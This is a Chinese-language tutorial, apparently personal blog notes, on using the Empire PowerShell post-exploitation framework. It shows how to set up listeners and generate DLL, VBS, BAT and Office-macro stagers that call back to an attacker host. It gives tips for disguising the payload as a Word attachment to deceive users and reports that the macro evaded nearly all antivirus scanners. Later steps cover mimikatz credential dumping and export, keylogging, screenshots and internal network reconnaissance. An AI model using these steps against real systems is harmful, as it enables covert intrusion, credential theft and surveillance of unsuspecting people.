PowerShell滲透–Empire
- 2019 年 10 月 24 日
- 筆記
0x00 簡介
Empire是一款針對Windows平台的,使用PowerShell腳本作為攻擊載荷的滲透攻擊框架代碼具有從stager生成,提權到滲透維持的一系列功能,無需powershell.exe就可以使用powershell的代理功能還可以快速在後期部署漏洞利用模塊,內置模塊有鍵盤記錄,Mimikatz,繞過UAC,內網掃描等,可以躲避網絡檢測和大部分安全防護工具,類似於Meterpreter,是一個基於PowerShell的遠控木馬(www.powershellempire.com)
0x02 安裝
0x03 使用
help 查看幫助
- 設置監聽
- listeners #進入監聽線程界面
- uselistener #設置監聽模式
- info #查看具體參數設置
- set #設置相應參數
- execute #開始監聽
uselistener 用來設置監聽模式
uselistener <tab> <tab> 查看可以使用的監聽模式
uselistener http 採用http監聽模式,輸入info 查看具體參數設置
Required 為 true 的參數都是需要設置的
set Name Micr067 #設置任務名稱
set Host 192.168.190.133 # 設置主機IP(Empire 所在服務器的地址)
execute # 執行
參數設置好後,可以在執行之前使用info 檢查參數配置是否正確
# 需要注意的是Empire不同於metasploit,Empire命令是區分大小寫的
輸入back可以返回上一層,也就是listeners 界面,
list 列出當前激活的 listener
- 生成木馬
- usestager #設置模塊
使用 usestager 命令設置生成木馬的模塊
usestager <tab> <tab> 查看所有可使用的木馬生成模塊
其中 multi 為通用mok,osx 為 Mac操作系統的模塊,windows 就是windows的模塊。
(1) dll 模塊
usestager windows/dll # 選擇dll模塊
info 查看一下需要設置的參數信息
這裡我們需要設置一下listener,然後 execute 執行,木馬生成目錄 /tmp/launcher.dll
(2) launcher
如果只需要簡單的powershell 代碼,在設置完相應的參數後,可直接在監聽器中輸入命令 launcher <language> <Listener Name> 生成base64編碼的代碼,
輸入back 返回到 Listener 界面,輸入 launcher powershell Micr067 來生成一個payload
然後將生成的payload 在目標機器上執行,即可獲得 session
可以看到Empire 已經上線了一個名為 GL8DBS32 的主機,
輸入 agents 可以查看已經獲得的session,這裡的agents 相當於 msf 中的 sessions -l
此時的代理名GL8DBS32 是隨機生成的,為了方便記憶,我們可以通過rename對其重命名
rename <Old Name> <New Name>
rename GL8DBS32 PC2
(3) launcher_vbs
usestager windows/launcher_vbs # 設置launcher_vbs木馬
set Listener micr067
execute
當在目標機器上執行vbs木馬,即可獲得session,
當然也可以在配置好參數後返回 listener 通過 launcher powershell micr067 生成base 64代碼運行
(4) launcher_bat
usestager windows/launcher_bat
set Listener micr067
execute
在目標主機上運行生成的launcher.bat,成功獲得一個新的session
為了增加迷惑性,可以將bat文件插入一個office文件(word/excel)中,依次選擇插入—對象—選擇“由文件創建”—通過瀏覽“選定bat文件”—勾選“顯示為圖標”—“更改圖標”從而獲得更好的迷惑性,
將圖標更改為word圖標,更改文件顯示名,可以獲得更好的迷惑性,此處沒word圖標就湊活着用吧!
額,要是改為word圖標簡直完美。
當目標機器用戶點擊了word中的附件,即可觸發運行bat,kali成功又獲得一個新session
(5)Macro 木馬
usestager windows/macro
set Listener micr067
execute
將生成的宏文件添加到office文件中,打開word文檔,點擊“試圖”,選擇“宏”,“宏名”隨便起,宏位置選擇當前office文件,單擊“創建”會彈出VB編輯界面。
將原來的代碼刪除,將macro宏文件代碼複製粘貼到其中,另存為“word 97-2003文檔”
word 97-2003文檔
將修改好的word發送到目標機器,當用戶點擊觸發即可運行宏病毒,當用戶點擊啟用宏內容時,
服務端將接收到session
由於在物理機上安裝有殺毒軟件,在物理機上打開word,服務端成功獲得session,短時間內殺軟未報毒,
當用戶點擊了“啟用內容”按鈕,下次打開word會自動運行宏病毒,不再彈出提示。
殺軟反應還是很遲鈍的,慢了7,8分鐘,應該是本地病毒庫沒有匹配到特徵在雲端分析的
將樣本上傳virustotal進行分析,57家只有一家能夠準確識別該宏病毒,
除了白利用,這種效果還是很理想的。
使用微步進行分析,檢出率為0
- 連接主機
- agents #列出當前已連接的主機
- interact #連接主機
- remove stale #刪除失效主機
- help agentcmds #查看常用命令
- 使用CMD命令時,要使用”shell+命令”
使用agents 列出當前已經連接的主機,Username帶(*)說明是已經提權成功的主機。
interact <主機名> # 使用 interact 連接主機,主機名可以用tab補全
使用 help agentcmds 查看常用命令
嘗試一下Empire內置的 mimikatz 模塊,輸入 mimikatz 命令,使用mimikatz 需要管理員權限,由於物理主機裝了殺軟,提權會被殺軟攔截,這裡使用的是payload域內的一台 win7 靶機。
creds 命令可以自動過濾、整理出獲取到的用戶密碼。
當內網抓取到的密碼比較多,比較亂的時候,可以通過 命令對 hash/plaintext 進行排列、增加、刪除、導出等操作,
將 憑證 導出 ,輸入 creds export /root/pc2.csv
pc2.csv.csv
在實際滲透中,總會出現部分主機會話丟失或者失效的情況,
使用 list stale 命令 列出已經丟失的反彈主機,然後輸入remove stale 命令刪除已經失效的主機
其他命令:
Bypass UAC 提權、SC 截圖、Download 下載文件 、Upload 上傳文件。。。
- 信息收集
- search module #搜索需要使用的模塊
- usemodule powershell/collection+Tab #查看完整列表
- 常用模塊
- usemodule powershell/collection/screenshotàexecute #截屏
- usemodule powershell/collection/keyloggeràexecute #鍵盤記錄
- usemodule powershell/collection/clipboard_monitor #剪貼板記錄
- usemodule powershell/situational_awareness/network/powerview/share_finder #列出域內所有共享
- usemodule powershell/situational_awareness/host/winenum #查看本級機用戶,域組成員系統基本信息等
usemodule <tab> <tab> # 查看所有模塊
usemodule powershell/collection/ <tab> <tab> # 查看collection模塊具體功能
屏幕截圖
usemodule powershell/collection/keylogger
截屏結果保存在目錄 Empire/downloads/主機名/screenshot
鍵盤記錄
usemodule powershell/collection/keylogger
set Agent PC2
execute
鍵盤記錄結果保存在目錄 Empire/downloads/主機名/agents.log
列出域內所有共享
powershell/situational_awareness/network/powerview/share_finder
查看本機用戶,域組成員系統基本信息
usemodule powershell/situational_awareness/host/winenum
列舉系統中所有有用信息,報告各種日誌、RDP登錄信息等
usemodule powershell/situational_awareness/host/computerdetails*
ARP掃描
usemodule powershell/situational_awareness/network/arpscan
set Agent PC2
set range 192.168.190.1-192.168.190.254
execute
dns信息獲取
usemodule powershell/situational_awareness/network/reverse_dns
顯示當前內網dns服務器地址
usemodule powershell/situational_awareness/host/dnsserver
查找域管登錄服務器IP
usemodule powershell/situational_awareness/network/powerview/user_hunter